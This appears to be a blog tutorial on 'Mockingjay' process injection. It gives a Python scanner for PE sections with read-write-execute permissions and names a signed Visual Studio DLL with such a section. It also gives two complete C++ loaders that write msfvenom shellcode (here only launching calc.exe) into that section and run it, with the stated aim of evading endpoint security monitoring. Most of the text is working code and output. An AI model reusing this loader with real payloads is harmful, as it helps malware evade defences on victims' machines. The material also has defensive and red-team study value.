Mockingjay Injection

Common process injection methods typically involve the following steps:

  • Allocating memory in a target process (VirtualAllocEx)
  • Writing payload data (WriteProcessMemory)
  • Changing page permissions (VirtualProtectEx)
  • Starting execution (CreateRemoteThread, APCs, etc.)

    These API calls and memory changes are well-known indicators that endpoint security products often monitor.

    Mockingjay process injection abuses a legitimate DLL that already contains a memory section with Read-Write-Execute (RWX) permissions. By writing code into an existing executable memory region, the technique can avoid behaviours that security tools typically flag.


    Identifying RWX Regions

    First, we need to find a suitable executable that has a RWX region. The following Python code can be used to check that.

    import pefile
    import sys
    
    IMAGE_SCN_MEM_EXECUTE = 0x20000000
    IMAGE_SCN_MEM_READ    = 0x40000000
    IMAGE_SCN_MEM_WRITE   = 0x80000000
    
    def find_rwx_sections(pe_path):
        pe = pefile.PE(pe_path)
    
        found = False
    
        for section in pe.sections:
            chars = section.Characteristics
    
            is_rwx = (
                chars & IMAGE_SCN_MEM_EXECUTE and
                chars & IMAGE_SCN_MEM_READ and
                chars & IMAGE_SCN_MEM_WRITE
            )
    
            if is_rwx:
                found = True
    
                name = section.Name.decode(errors="ignore").rstrip("\x00")
    
                print(f"[+] RWX Section Found")
                print(f"    Name: {name}")
                print(f"    VA:   0x{section.VirtualAddress:08X}")
                print(f"    Size: 0x{section.Misc_VirtualSize:X}")
                print(f"    Characteristics: 0x{chars:08X}")
                print()
    
        if not found:
            print("[-] No RWX sections found.")
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            print(f"Usage: {sys.argv[0]} <pe_file>")
            sys.exit(1)
    
        find_rwx_sections(sys.argv[1])
    

    Running this code against msys-2.0.dll (which is packaged as part of Visual Studio 2022), we can see it has a region called .autoloa at virtual address 0x00202000.

    python3 rwx_check.py msys-2.0.dll
    [+] RWX Section Found
        Name: .autoloa
        VA:   0x00202000
        Size: 0x38F0
        Characteristics: 0xE0000020
    

    Note that the file is digitally signed. This will assist with avoiding detection.

    PS C:\Users\user\Desktop> Get-AuthenticodeSignature .\msys-2.0.dll
    
    
        Directory: C:\Users\user\Desktop
    
    
    SignerCertificate                         Status                                 Path
    -----------------                         ------                                 ----
    587116075365AA15BCD8E4FA9CB31BE372B5DE51  Valid                                  msys-2.0.dll
    

    Exploit Code

    Since we have identified an RWX region in the DLL, we can use the following code to;

    • Load the target DLL using LoadLibraryA
    • Use WriteProcessMemory to write our payload
    • Call CreateThread to execute the code

    This avoids any calls to either change an existing memory regions permissions, or allocating memory with suspicious permissions. Note, the offset to the RWX region is hardcoded.

    #include <windows.h>
    #include <TlHelp32.h>
    #include <iostream>
    
    #define VULNERABLE_DLL_RWX_OFFSET 0x202000 // RVA Address of .autoloa 
    
    int main() {
    
        HMODULE hTargetDLL = LoadLibraryA("msys-2.0.dll");
    
        if (!hTargetDLL)
        {
            std::cerr << "Failed to load DLL\n";
            return 1;
        }
    
        std::cout << "DLL loaded\n";
    
    
        PVOID pTargetRwxSpace = (PVOID)((ULONG_PTR)hTargetDLL + VULNERABLE_DLL_RWX_OFFSET);
        std::cout << "[+] Found target RWX section at destination address: " << pTargetRwxSpace << "\n";
    
        std::cout << "Press Enter to continue...\n";
        getchar();
    
        //msfvenom - p windows / x64 / exec CMD = "calc.exe" - f C EXITFUNC = thread
        unsigned char shellcode[] =
            "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
            "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
            "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
            "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
            "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
            "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
            "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
            "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
            "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
            "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
            "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
            "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
            "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
            "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
            "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
            "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
            "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
            "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
            "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
            "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    
       size_t shellcodeSize = sizeof(shellcode);
    
    
        HANDLE hProcess = GetCurrentProcess();
    
        // No calls to VirtualAllocEx or VirtualProtectEx here :)
        SIZE_T bytesWritten = 0;
        BOOL status = WriteProcessMemory(hProcess, pTargetRwxSpace, shellcode, shellcodeSize, &bytesWritten);
    
        if (status && bytesWritten == shellcodeSize) {
            std::cout << "[+] Successfully wrote code into existing trusted RWX section.\n";
    
            HANDLE hThread = CreateThread(
                nullptr,                                  
                0,                                         
                (LPTHREAD_START_ROUTINE)pTargetRwxSpace,   
                nullptr,                                   
                0,                                         
                nullptr                                    
            );
    
            if (hThread)
            {
                std::cout << "[+] Thread created.\n";
    
                WaitForSingleObject(hThread, INFINITE);
    
                DWORD exitCode;
                GetExitCodeThread(hThread, &exitCode);
    
                std::cout << "[+] Thread exited with code: "
                    << exitCode << '\n';
    
                CloseHandle(hThread);
            }
            else
            {
                std::cout << "[-] CreateThread failed: "
                    << GetLastError() << '\n';
            }
    
    
        }
        else {
            std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
        }
    
        CloseHandle(hProcess);
        FreeLibrary(hTargetDLL);
    
        return 0;
    }
    

    Dynamic Offset Retrieval

    Instead of hardcoding the offset, we can use the Windows Debug Help library (dbghelp) to iterate over the DLL sections in our code. This is implemented in the FindRWXOffset function. This in turn called IsRWXSection to determine if a section is set to RWX.

    #include <windows.h>
    #include <TlHelp32.h>
    #include <iostream>
    #include <dbghelp.h>
    #pragma comment(lib, "Dbghelp.lib")
    
    
    bool IsRWXSection(const IMAGE_SECTION_HEADER& section)
    {
        DWORD flags = section.Characteristics;
    
        return (flags & IMAGE_SCN_MEM_READ) &&
            (flags & IMAGE_SCN_MEM_WRITE) &&
            (flags & IMAGE_SCN_MEM_EXECUTE);
    }
    
    DWORD_PTR FindRWXOffset(HMODULE module)
    {
        auto* ntHeaders = ImageNtHeader(module);
        if (!ntHeaders)
            return 0;
    
        auto* sections = IMAGE_FIRST_SECTION(ntHeaders);
    
        for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i)
        {
            if (!IsRWXSection(sections[i]))
                continue;
    
            return sections[i].VirtualAddress;
        }
    
        return 0;
    }
    
    
    int main() {
    
        HMODULE hTargetDLL = LoadLibraryA("msys-2.0.dll");
    
        if (!hTargetDLL)
        {
            std::cerr << "Failed to load DLL\n";
            return 1;
        }
    
        std::cout << "DLL loaded\n";
    
        PVOID pTargetRwxSpace = (PVOID)((ULONG_PTR)hTargetDLL + (ULONG_PTR)FindRWXOffset(hTargetDLL));
        std::cout << "[+] Found target RWX section at destination address: " << pTargetRwxSpace << "\n";
    
        std::cout << "Press Enter to continue...\n";
        getchar();
    
        //msfvenom - p windows / x64 / exec CMD = "calc.exe" - f C EXITFUNC = thread
        unsigned char shellcode[] =
            "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
            "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
            "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
            "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
            "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
            "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
            "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
            "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
            "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
            "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
            "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
            "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
            "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
            "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
            "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
            "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
            "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
            "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
            "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
            "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    
       size_t shellcodeSize = sizeof(shellcode);
    
    
        HANDLE hProcess = GetCurrentProcess();
    
        // No calls to VirtualAllocEx or VirtualProtectEx here :)
        SIZE_T bytesWritten = 0;
        BOOL status = WriteProcessMemory(hProcess, pTargetRwxSpace, shellcode, shellcodeSize, &bytesWritten);
    
        if (status && bytesWritten == shellcodeSize) {
            std::cout << "[+] Successfully wrote code into existing trusted RWX section.\n";
    
            HANDLE hThread = CreateThread(
                nullptr,                                  
                0,                                         
                (LPTHREAD_START_ROUTINE)pTargetRwxSpace,  
                nullptr,                                   
                0,                                         
                nullptr                                    
            );
    
            if (hThread)
            {
                std::cout << "[+] Thread created.\n";
    
                WaitForSingleObject(hThread, INFINITE);
    
                DWORD exitCode;
                GetExitCodeThread(hThread, &exitCode);
    
                std::cout << "[+] Thread exited with code: "
                    << exitCode << '\n';
    
                CloseHandle(hThread);
            }
            else
            {
                std::cout << "[-] CreateThread failed: "
                    << GetLastError() << '\n';
            }
    
    
        }
        else {
            std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
        }
    
        CloseHandle(hProcess);
        FreeLibrary(hTargetDLL);
    
        return 0;
    }
    

    In Conclusion

    The main benefit of this technique is avoiding suspicious memory permission alterations. However, compilers do not create RWX regions by default, so it’s rare to come across executables that meet this criteria.